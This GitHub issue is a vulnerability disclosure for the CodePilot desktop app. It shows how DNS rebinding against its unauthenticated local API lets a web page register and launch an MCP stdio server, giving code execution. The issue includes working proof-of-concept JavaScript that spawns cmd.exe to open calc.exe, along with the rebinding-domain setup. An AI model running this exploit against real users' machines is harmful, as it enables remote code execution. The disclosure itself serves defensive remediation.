Skip to content

[BUG][SECURITY]Local API DNS rebinding / CSRF -> MCP stdio RCE #693

Open

Description

@3xsh0re

CodePilot 版本 / Version

0.67.17

操作系统与架构 / OS & arch

Windows11 x64

Runtime

Native

Provider / Model

任意

是否可复现 / Reproducible?

每次都能复现 / always

复现步骤 / Steps to reproduce

Root Cause

1. Loopback is treated as a security boundary

The local API assumes:

A request that reaches 127.0.0.1:47823 is a trusted local user.

A browser page can reach the same API through DNS rebinding.

2. State-changing API lacks validation

src/app/api/plugins/mcp/route.ts (PUT):

const body = await request.json();
const incoming = body.mcpServers as Record<string, MCPServerConfig & { _source?: string }>;
// writes ~/.claude/settings.json mcpServers directly

No Origin/Host/CSRF validation; the MCP command and args are fully request-controlled.

src/app/api/plugins/mcp/toggle/route.ts (POST):

const { serverName, enabled } = await request.json();
const allServers = loadAllMcpServers();
const serverConfig = allServers?.[serverName];
if (serverConfig) {
  await connectServer(serverName, serverConfig);
}

connectServer creates StdioClientTransport({ command, args }) and spawns it.

3. Request-side validation gaps

  • No Host allowlist;
  • No Origin/Referer check;
  • No CSRF token;
  • /toggle does not enforce Content-Type: application/json;
  • No user approval or command allowlist for MCP add/start.

4. DNS rebinding is the transport

Browser same-origin is scheme + host + port, not IP. The attacker controls the DNS for their own domain:

First resolution: evil.example → attacker page server
Page loads
Second resolution: evil.example → 127.0.0.1

The page origin remains http://evil.example:47823, so /api/plugins/mcp is same-origin and does not require CORS. The server does not validate Host and accepts the request.

Attack Chain

Victim opens a malicious page
→ browser loads http://<rebind-domain>:47823/rebind.html
→ page JavaScript loops fetch('/api/plugins/mcp', PUT)
   {mcpServers:{rebind:{type:'stdio',command:'cmd.exe',args:['/c','calc.exe']}}}
→ DNS rebinds to 127.0.0.1:47823
→ CodePilot has no validation and writes ~/.claude/settings.json
→ page POSTs /api/plugins/mcp/toggle {enabled:true}
→ loadAllMcpServers → connectServer
→ new StdioClientTransport({command:'cmd.exe',args:['/c','calc.exe']})
→ spawn

Environment:

  • Chrome installed locally, launched with --no-proxy-server (the system proxy returned 502 and interfered with direct DNS);
  • Attacker page: 127.0.0.2:47823;
  • Target: CodePilot 127.0.0.1:47823;
  • Rebinding domain: 7f000002.7f000001.rbndr.us:47823, TTL 1/0, A records alternating between 127.0.0.2 and 127.0.0.1.

Page JavaScript:

const name = 'rebind-poc-' + Date.now();

await fetch('/api/plugins/mcp', {
  method: 'PUT',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    mcpServers: {
      [name]: {
        type: 'stdio',
        command: 'C:\\Windows\\System32\\cmd.exe',
        args: ['/c', 'calc.exe']
      }
    }
  })
});

await fetch('/api/plugins/mcp/toggle', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({serverName: name, enabled: true})
});

Result:

  • The page loaded from 127.0.0.2; the first 20–24 PUTs hit the attacker server and returned 404.
  • After Chrome's DNS cache expired, the next PUT hit CodePilot and returned 200 {"success":true}.
  • POST /api/plugins/mcp/toggle returned 200 {"success":true}.

期望 vs 实际 / Expected vs actual


日志 / 截图 / session id

Poc Video:

CodePilot-rce-rebinddns.mp4

影响面 / Impact

  • 涉及文件写入或可能误改/丢失数据 / involves file write or possible data loss
  • 导致崩溃、闪退或对话被自动中断 / causes crash / quit / auto-interrupt

Activity

  1. added
    needs-repro缺可复现信息:版本 / 平台 / runtime / 日志
    P0-data-loss-risk可能误改或丢失用户数据 / 文件
    on Nov 12, 2026
  2. github-actions commented on Nov 12, 2026

    @github-actions

    感谢反馈!这个 issue 似乎缺少必要的复现信息,已标记 needs-repro。

    请用 issue 模板、在最新版 v0.56.2+ 上补齐:版本号、操作系统、Runtime、Provider / 模型、复现步骤、日志 / session id(请脱敏,不要包含 API key)。

    直接在本 issue 下回复补充即可 —— 补全后会自动取消 needs-repro 标记、进入正常排队;长期无回应会按 stale 流程提醒、最终关闭(关闭后随时可重新打开)。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    P0-data-loss-risk可能误改或丢失用户数据 / 文件bugSomething isn't workingneeds-repro缺可复现信息:版本 / 平台 / runtime / 日志

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions